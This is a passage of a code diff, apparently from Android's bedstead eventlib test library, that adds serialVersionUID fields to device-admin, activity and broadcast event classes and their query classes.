+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStoppedEvent.java
@@ -32,6 +32,8 @@
*/
public final class ActivityStoppedEvent extends Event {
+ private static final long serialVersionUID = 1;
+
/** Begins a query for {@link ActivityStoppedEvent} events. */
public static ActivityStoppedEventQuery queryPackage(String packageName) {
return new ActivityStoppedEventQuery(packageName);
@@ -40,6 +42,9 @@
/** {@link EventLogsQuery} for {@link ActivityStoppedEvent}. */
public static final class ActivityStoppedEventQuery
extends EventLogsQuery<ActivityStoppedEvent, ActivityStoppedEventQuery> {
+
+ private static final long serialVersionUID = 1;
+
ActivityQueryHelper<ActivityStoppedEventQuery> mActivity = new ActivityQueryHelper<>(this);
private ActivityStoppedEventQuery(String packageName) {
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/broadcastreceivers/BroadcastReceivedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/broadcastreceivers/BroadcastReceivedEvent.java
index 03c148f..c4f4f0f 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/broadcastreceivers/BroadcastReceivedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/broadcastreceivers/BroadcastReceivedEvent.java
@@ -37,6 +37,8 @@
*/
public final class BroadcastReceivedEvent extends Event {
+ private static final long serialVersionUID = 1;
+
/** Begins a query for {@link BroadcastReceivedEvent} events. */
public static BroadcastReceivedEventQuery queryPackage(String packageName) {
return new BroadcastReceivedEventQuery(packageName);
@@ -45,6 +47,9 @@
/** {@link EventLogsQuery} for {@link BroadcastReceivedEvent}. */
public static final class BroadcastReceivedEventQuery
extends EventLogsQuery<BroadcastReceivedEvent, BroadcastReceivedEventQuery> {
+
+ private static final long serialVersionUID = 1;
+
BroadcastReceiverQueryHelper<BroadcastReceivedEventQuery> mBroadcastReceiver =
new BroadcastReceiverQueryHelper<>(this);
IntentQueryHelper<BroadcastReceivedEventQuery> mIntent = new IntentQueryHelper<>(this);
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportFailedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportFailedEvent.java
index 430bb9b..6308d61 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportFailedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportFailedEvent.java
@@ -39,6 +39,8 @@
*/
public final class DeviceAdminBugreportFailedEvent extends Event {
+ private static final long serialVersionUID = 1;
+
/** Begins a query for {@link DeviceAdminBugreportFailedEvent} events. */
public static DeviceAdminBugreportFailedEventQuery queryPackage(String packageName) {
return new DeviceAdminBugreportFailedEventQuery(packageName);
@@ -48,6 +50,9 @@
public static final class DeviceAdminBugreportFailedEventQuery
extends EventLogsQuery<DeviceAdminBugreportFailedEvent,
DeviceAdminBugreportFailedEventQuery> {
+
+ private static final long serialVersionUID = 1;
+
DeviceAdminReceiverQueryHelper<DeviceAdminBugreportFailedEventQuery> mDeviceAdminReceiver =
new DeviceAdminReceiverQueryHelper<>(this);
IntentQueryHelper<DeviceAdminBugreportFailedEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportSharedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportSharedEvent.java
index 6d3dc8a..1e96e00 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportSharedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportSharedEvent.java
@@ -39,6 +39,8 @@
*/
public final class DeviceAdminBugreportSharedEvent extends Event {
+ private static final long serialVersionUID = 1;
+
/** Begins a query for {@link DeviceAdminBugreportSharedEvent} events. */
public static DeviceAdminBugreportSharedEventQuery queryPackage(String packageName) {
return new DeviceAdminBugreportSharedEventQuery(packageName);
@@ -48,6 +50,9 @@
public static final class DeviceAdminBugreportSharedEventQuery
extends EventLogsQuery<DeviceAdminBugreportSharedEvent,
DeviceAdminBugreportSharedEventQuery> {
+
+ private static final long serialVersionUID = 1;
+
DeviceAdminReceiverQueryHelper<DeviceAdminBugreportSharedEventQuery> mDeviceAdminReceiver =
new DeviceAdminReceiverQueryHelper<>(this);
IntentQueryHelper<DeviceAdminBugreportSharedEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportSharingDeclinedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportSharingDeclinedEvent.java
index 4f36bcc..fe944da 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportSharingDeclinedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminBugreportSharingDeclinedEvent.java
@@ -37,6 +37,8 @@
*/
public final class DeviceAdminBugreportSharingDeclinedEvent extends Event {
+ private static final long serialVersionUID = 1;
+
/** Begins a query for {@link DeviceAdminBugreportSharingDeclinedEvent} events. */
public static DeviceAdminBugreportSharingDeclinedEventQuery queryPackage(String packageName) {
return new DeviceAdminBugreportSharingDeclinedEventQuery(packageName);
@@ -46,6 +48,9 @@
public static final class DeviceAdminBugreportSharingDeclinedEventQuery
extends EventLogsQuery<DeviceAdminBugreportSharingDeclinedEvent,
DeviceAdminBugreportSharingDeclinedEventQuery> {
+
+ private static final long serialVersionUID = 1;
+
DeviceAdminReceiverQueryHelper<DeviceAdminBugreportSharingDeclinedEventQuery> mDeviceAdminReceiver =
new DeviceAdminReceiverQueryHelper<>(this);
IntentQueryHelper<DeviceAdminBugreportSharingDeclinedEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminChoosePrivateKeyAliasEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminChoosePrivateKeyAliasEvent.java
index 9f7dfe5..8c6c464 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminChoosePrivateKeyAliasEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminChoosePrivateKeyAliasEvent.java
@@ -44,6 +44,8 @@
*/
public final class DeviceAdminChoosePrivateKeyAliasEvent extends Event {
+ private static final long serialVersionUID = 1;
+
/** Begins a query for {@link DeviceAdminChoosePrivateKeyAliasEvent} events. */
public static DeviceAdminChoosePrivateKeyAliasEventQuery queryPackage(String packageName) {
return new DeviceAdminChoosePrivateKeyAliasEventQuery(packageName);
@@ -53,6 +55,9 @@
public static final class DeviceAdminChoosePrivateKeyAliasEventQuery
extends EventLogsQuery<DeviceAdminChoosePrivateKeyAliasEvent,
DeviceAdminChoosePrivateKeyAliasEventQuery> {
+
+ private static final long serialVersionUID = 1;
+
DeviceAdminReceiverQueryHelper<DeviceAdminChoosePrivateKeyAliasEventQuery> mDeviceAdminReceiver =
new DeviceAdminReceiverQueryHelper<>(this);
IntentQueryHelper<DeviceAdminChoosePrivateKeyAliasEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisableRequestedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisableRequestedEvent.java
index 7398603..aa0c757 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisableRequestedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisableRequestedEvent.java
@@ -36,6 +36,8 @@
*/
public final class DeviceAdminDisableRequestedEvent extends Event {
+ private static final long serialVersionUID = 1;
+
/** Begins a query for {@link DeviceAdminDisableRequestedEvent} events. */
public static DeviceAdminDisableRequestedEventQuery queryPackage(String packageName) {
return new DeviceAdminDisableRequestedEventQuery(packageName);
@@ -45,6 +47,9 @@
public static final class DeviceAdminDisableRequestedEventQuery
extends EventLogsQuery<DeviceAdminDisableRequestedEvent,
DeviceAdminDisableRequestedEventQuery> {
+
+ private static final long serialVersionUID = 1;
+
DeviceAdminReceiverQueryHelper<DeviceAdminDisableRequestedEventQuery> mDeviceAdminReceiver =
new DeviceAdminReceiverQueryHelper<>(this);
IntentQueryHelper<DeviceAdminDisableRequestedEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisabledEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisabledEvent.java
index c50c0dc..ad81690 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisabledEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminDisabledEvent.java
@@ -36,6 +36,8 @@
*/
public final class DeviceAdminDisabledEvent extends Event {
+ private static final long serialVersionUID = 1;
+
/** Begins a query for {@link DeviceAdminDisabledEvent} events. */
public static DeviceAdminDisabledEventQuery queryPackage(String packageName) {
return new DeviceAdminDisabledEventQuery(packageName);
@@ -44,6 +46,9 @@
/** {@link EventLogsQuery} for {@link DeviceAdminDisabledEvent}. */
public static final class DeviceAdminDisabledEventQuery
extends EventLogsQuery<DeviceAdminDisabledEvent, DeviceAdminDisabledEventQuery> {
+
+ private static final long serialVersionUID = 1;
+
DeviceAdminReceiverQueryHelper<DeviceAdminDisabledEventQuery> mDeviceAdminReceiver =
new DeviceAdminReceiverQueryHelper<>(this);
IntentQueryHelper<DeviceAdminDisabledEventQuery> mIntent = new IntentQueryHelper<>(this);
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminEnabledEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminEnabledEvent.java
index c71da23..223ff54 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminEnabledEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminEnabledEvent.java
@@ -36,6 +36,8 @@
*/
public final class DeviceAdminEnabledEvent extends Event {
+ private static final long serialVersionUID = 1;
+
/** Begins a query for {@link DeviceAdminEnabledEvent} events. */
public static DeviceAdminEnabledEventQuery queryPackage(String packageName) {
return new DeviceAdminEnabledEventQuery(packageName);
@@ -44,6 +46,9 @@
/** {@link EventLogsQuery} for {@link DeviceAdminEnabledEvent}. */
public static final class DeviceAdminEnabledEventQuery
extends EventLogsQuery<DeviceAdminEnabledEvent, DeviceAdminEnabledEventQuery> {
+
+ private static final long serialVersionUID = 1;
+
DeviceAdminReceiverQueryHelper<DeviceAdminEnabledEventQuery> mDeviceAdminReceiver =
new DeviceAdminReceiverQueryHelper<>(this);
IntentQueryHelper<DeviceAdminEnabledEventQuery> mIntent = new IntentQueryHelper<>(this);
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminLockTaskModeEnteringEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminLockTaskModeEnteringEvent.java
index 038811f..edacae2 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminLockTaskModeEnteringEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminLockTaskModeEnteringEvent.java
@@ -39,6 +39,8 @@
*/
public final class DeviceAdminLockTaskModeEnteringEvent extends Event {
+ private static final long serialVersionUID = 1;
+
/** Begins a query for {@link DeviceAdminLockTaskModeEnteringEvent} events. */
public static DeviceAdminLockTaskModeEnteringEventQuery queryPackage(String packageName) {
return new DeviceAdminLockTaskModeEnteringEventQuery(packageName);
@@ -48,6 +50,9 @@
public static final class DeviceAdminLockTaskModeEnteringEventQuery
extends EventLogsQuery<DeviceAdminLockTaskModeEnteringEvent,
DeviceAdminLockTaskModeEnteringEventQuery> {
+
+ private static final long serialVersionUID = 1;
+
DeviceAdminReceiverQueryHelper<DeviceAdminLockTaskModeEnteringEventQuery> mDeviceAdminReceiver =
new DeviceAdminReceiverQueryHelper<>(this);
IntentQueryHelper<DeviceAdminLockTaskModeEnteringEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminLockTaskModeExitingEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminLockTaskModeExitingEvent.java
index 173f16f..1607ea6 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminLockTaskModeExitingEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminLockTaskModeExitingEvent.java
@@ -37,6 +37,8 @@
*/
public final class DeviceAdminLockTaskModeExitingEvent extends Event {
+ private static final long serialVersionUID = 1;
+
/** Begins a query for {@link DeviceAdminLockTaskModeExitingEvent} events. */
public static DeviceAdminLockTaskModeExitingEventQuery queryPackage(String packageName) {
return new DeviceAdminLockTaskModeExitingEventQuery(packageName);
@@ -46,6 +48,9 @@
public static final class DeviceAdminLockTaskModeExitingEventQuery
extends EventLogsQuery<DeviceAdminLockTaskModeExitingEvent,
DeviceAdminLockTaskModeExitingEventQuery> {
+
+ private static final long serialVersionUID = 1;
+
DeviceAdminReceiverQueryHelper<DeviceAdminLockTaskModeExitingEventQuery> mDeviceAdminReceiver =
new DeviceAdminReceiverQueryHelper<>(this);
IntentQueryHelper<DeviceAdminLockTaskModeExitingEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminNetworkLogsAvailableEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminNetworkLogsAvailableEvent.java
index 9518797..c9b6eb2 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminNetworkLogsAvailableEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminNetworkLogsAvailableEvent.java
@@ -39,6 +39,8 @@
*/
public final class DeviceAdminNetworkLogsAvailableEvent extends Event {
+ private static final long serialVersionUID = 1;
+
/** Begins a query for {@link DeviceAdminNetworkLogsAvailableEvent} events. */
public static DeviceAdminNetworkLogsAvailableEventQuery queryPackage(String packageName) {
return new DeviceAdminNetworkLogsAvailableEventQuery(packageName);
@@ -48,6 +50,9 @@
public static final class DeviceAdminNetworkLogsAvailableEventQuery
extends EventLogsQuery<DeviceAdminNetworkLogsAvailableEvent,
DeviceAdminNetworkLogsAvailableEventQuery> {
+
+ private static final long serialVersionUID = 1;
+
DeviceAdminReceiverQueryHelper<DeviceAdminNetworkLogsAvailableEventQuery> mDeviceAdminReceiver =
new DeviceAdminReceiverQueryHelper<>(this);
IntentQueryHelper<DeviceAdminNetworkLogsAvailableEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminOperationSafetyStateChangedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminOperationSafetyStateChangedEvent.java
index fd19b95..528ad27 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminOperationSafetyStateChangedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminOperationSafetyStateChangedEvent.java
@@ -40,6 +40,8 @@
*/
public final class DeviceAdminOperationSafetyStateChangedEvent extends Event {
+ private static final long serialVersionUID = 1;
+
/** Begins a query for {@link DeviceAdminOperationSafetyStateChangedEvent} events. */
public static DeviceAdminOperationSafetyStateChangedEventQuery queryPackage(String packageName) {
return new DeviceAdminOperationSafetyStateChangedEventQuery(packageName);
@@ -49,6 +51,9 @@
public static final class DeviceAdminOperationSafetyStateChangedEventQuery
extends EventLogsQuery<DeviceAdminOperationSafetyStateChangedEvent,
DeviceAdminOperationSafetyStateChangedEventQuery> {
+
+ private static final long serialVersionUID = 1;
+
DeviceAdminReceiverQueryHelper<DeviceAdminOperationSafetyStateChangedEventQuery> mDeviceAdminReceiver =
new DeviceAdminReceiverQueryHelper<>(this);
IntegerQueryHelper<DeviceAdminOperationSafetyStateChangedEventQuery> mReason =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordChangedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordChangedEvent.java
index aa3a310..fbb26d3 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordChangedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordChangedEvent.java
@@ -40,6 +40,8 @@
*/
public final class DeviceAdminPasswordChangedEvent extends Event {
+ private static final long serialVersionUID = 1;
+
/** Begins a query for {@link DeviceAdminPasswordChangedEvent} events. */
public static DeviceAdminPasswordChangedEventQuery queryPackage(String packageName) {
return new DeviceAdminPasswordChangedEventQuery(packageName);
@@ -49,6 +51,9 @@
public static final class DeviceAdminPasswordChangedEventQuery
extends EventLogsQuery<DeviceAdminPasswordChangedEvent,
DeviceAdminPasswordChangedEventQuery> {
+
+ private static final long serialVersionUID = 1;
+
DeviceAdminReceiverQueryHelper<DeviceAdminPasswordChangedEventQuery> mDeviceAdminReceiver =
new DeviceAdminReceiverQueryHelper<>(this);
IntentQueryHelper<DeviceAdminPasswordChangedEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordExpiringEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordExpiringEvent.java
index fa9df15..12fed72 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordExpiringEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordExpiringEvent.java
@@ -40,6 +40,8 @@
*/
public final class DeviceAdminPasswordExpiringEvent extends Event {
+ private static final long serialVersionUID = 1;
+
/** Begins a query for {@link DeviceAdminPasswordExpiringEvent} events. */
public static DeviceAdminPasswordExpiringEventQuery queryPackage(String packageName) {
return new DeviceAdminPasswordExpiringEventQuery(packageName);
@@ -49,6 +51,9 @@
public static final class DeviceAdminPasswordExpiringEventQuery
extends EventLogsQuery<DeviceAdminPasswordExpiringEvent,
DeviceAdminPasswordExpiringEventQuery> {
+
+ private static final long serialVersionUID = 1;
+
DeviceAdminReceiverQueryHelper<DeviceAdminPasswordExpiringEventQuery> mDeviceAdminReceiver =
new DeviceAdminReceiverQueryHelper<>(this);
IntentQueryHelper<DeviceAdminPasswordExpiringEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordFailedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordFailedEvent.java
index d59c7b3..4c1cd62 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordFailedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordFailedEvent.java
@@ -40,6 +40,8 @@
*/
public final class DeviceAdminPasswordFailedEvent extends Event {
+ private static final long serialVersionUID = 1;
+
/** Begins a query for {@link DeviceAdminPasswordFailedEvent} events. */
public static DeviceAdminPasswordFailedEventQuery queryPackage(String packageName) {
return new DeviceAdminPasswordFailedEventQuery(packageName);
@@ -49,6 +51,9 @@
public static final class DeviceAdminPasswordFailedEventQuery
extends EventLogsQuery<DeviceAdminPasswordFailedEvent,
DeviceAdminPasswordFailedEventQuery> {
+
+ private static final long serialVersionUID = 1;
+
DeviceAdminReceiverQueryHelper<DeviceAdminPasswordFailedEventQuery> mDeviceAdminReceiver =
new DeviceAdminReceiverQueryHelper<>(this);
IntentQueryHelper<DeviceAdminPasswordFailedEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordSucceededEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordSucceededEvent.java
index 6178853..3201ea8 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordSucceededEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordSucceededEvent.java
@@ -40,6 +40,8 @@
*/
public final class DeviceAdminPasswordSucceededEvent extends Event {
+ private static final long serialVersionUID = 1;
+
/** Begins a query for {@link DeviceAdminPasswordSucceededEvent} events. */
public static DeviceAdminPasswordSucceededEventQuery queryPackage(String packageName) {
return new DeviceAdminPasswordSucceededEventQuery(packageName);
@@ -49,6 +51,9 @@
public static final class DeviceAdminPasswordSucceededEventQuery
extends EventLogsQuery<DeviceAdminPasswordSucceededEvent,
DeviceAdminPasswordSucceededEventQuery> {
+
+ private static final long serialVersionUID = 1;
+
DeviceAdminReceiverQueryHelper<DeviceAdminPasswordSucceededEventQuery>
mDeviceAdminReceiver = new DeviceAdminReceiverQueryHelper<>(this);
IntentQueryHelper<DeviceAdminPasswordSucceededEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminProfileProvisioningCompleteEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminProfileProvisioningCompleteEvent.java
index ccb9769..10ccbbb 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminProfileProvisioningCompleteEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminProfileProvisioningCompleteEvent.java
@@ -37,6 +37,8 @@
*/
public final class DeviceAdminProfileProvisioningCompleteEvent extends Event {
+ private static final long serialVersionUID = 1;
+
/** Begins a query for {@link DeviceAdminProfileProvisioningCompleteEvent} events. */
public static DeviceAdminProfileProvisioningCompleteEventQuery queryPackage(String packageName) {
return new DeviceAdminProfileProvisioningCompleteEventQuery(packageName);
@@ -46,6 +48,9 @@
public static final class DeviceAdminProfileProvisioningCompleteEventQuery
extends EventLogsQuery<DeviceAdminProfileProvisioningCompleteEvent,
DeviceAdminProfileProvisioningCompleteEventQuery> {
+
+ private static final long serialVersionUID = 1;
+
DeviceAdminReceiverQueryHelper<DeviceAdminProfileProvisioningCompleteEventQuery> mDeviceAdminReceiver =
new DeviceAdminReceiverQueryHelper<>(this);
IntentQueryHelper<DeviceAdminProfileProvisioningCompleteEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminReadyForUserInitializationEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminReadyForUserInitializationEvent.java
index 23707b0..995da5e 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminReadyForUserInitializationEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminReadyForUserInitializationEvent.java
@@ -37,6 +37,8 @@
*/
public final class DeviceAdminReadyForUserInitializationEvent extends Event {
+ private static final long serialVersionUID = 1;
+
/** Begins a query for {@link DeviceAdminReadyForUserInitializationEvent} events. */
public static DeviceAdminReadyForUserInitializationEventQuery queryPackage(String packageName) {
return new DeviceAdminReadyForUserInitializationEventQuery(packageName);
@@ -46,6 +48,9 @@
public static final class DeviceAdminReadyForUserInitializationEventQuery
extends EventLogsQuery<DeviceAdminReadyForUserInitializationEvent,
DeviceAdminReadyForUserInitializationEventQuery> {
+
+ private static final long serialVersionUID = 1;
+
DeviceAdminReceiverQueryHelper<DeviceAdminReadyForUserInitializationEventQuery> mDeviceAdminReceiver =
new DeviceAdminReceiverQueryHelper<>(this);
IntentQueryHelper<DeviceAdminReadyForUserInitializationEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminSecurityLogsAvailableEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminSecurityLogsAvailableEvent.java
index 8e430ed..a06bbd1 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminSecurityLogsAvailableEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminSecurityLogsAvailableEvent.java
@@ -37,6 +37,8 @@
*/
public final class DeviceAdminSecurityLogsAvailableEvent extends Event {
+ private static final long serialVersionUID = 1;
+
/** Begins a query for {@link DeviceAdminSecurityLogsAvailableEvent} events. */
public static DeviceAdminSecurityLogsAvailableEventQuery queryPackage(String packageName) {
return new DeviceAdminSecurityLogsAvailableEventQuery(packageName);
@@ -46,6 +48,9 @@
public static final class DeviceAdminSecurityLogsAvailableEventQuery
extends EventLogsQuery<DeviceAdminSecurityLogsAvailableEvent,
DeviceAdminSecurityLogsAvailableEventQuery> {
+
+ private static final long serialVersionUID = 1;
+
DeviceAdminReceiverQueryHelper<DeviceAdminSecurityLogsAvailableEventQuery> mDeviceAdminReceiver =
new DeviceAdminReceiverQueryHelper<>(this);
IntentQueryHelper<DeviceAdminSecurityLogsAvailableEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminSystemUpdatePendingEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminSystemUpdatePendingEvent.java
index 30b4fa7..2705942 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminSystemUpdatePendingEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminSystemUpdatePendingEvent.java
@@ -37,6 +37,8 @@
/** Event logged when {@link DeviceAdminReceiver#onSystemUpdatePending} is called. */
public class DeviceAdminSystemUpdatePendingEvent extends Event {
+ private static final long serialVersionUID = 1;
+
/** Begins a query for {@link DeviceAdminSystemUpdatePendingEvent} events. */
public static DeviceAdminSystemUpdatePendingEventQuery queryPackage(String packageName) {
return new DeviceAdminSystemUpdatePendingEventQuery(packageName);
@@ -46,6 +48,9 @@
public static final class DeviceAdminSystemUpdatePendingEventQuery
extends EventLogsQuery<DeviceAdminSystemUpdatePendingEvent,
DeviceAdminSystemUpdatePendingEventQuery> {
+
+ private static final long serialVersionUID = 1;
+
DeviceAdminReceiverQueryHelper<DeviceAdminSystemUpdatePendingEventQuery>
mDeviceAdminReceiver = new DeviceAdminReceiverQueryHelper<>(this);
IntentQueryHelper<DeviceAdminSystemUpdatePendingEventQuery> mIntent =
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent.java
index 5678935..4ce8b18 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent.java
@@ -39,6 +39,8 @@
*/
public final class DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent extends Event {
+ private static final long serialVersionUID = 1;
+
/** Begins a query for {@link DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent} events. */
public static DeviceAdminTransferAffiliatedProfileOwnershipCompleteEventQuery queryPackage(
String packageName) {
@@ -49,6 +51,9 @@
public static final class DeviceAdminTransferAffiliatedProfileOwnershipCompleteEventQuery
extends EventLogsQuery<DeviceAdminTransferAffiliatedProfileOwnershipCompleteEvent,
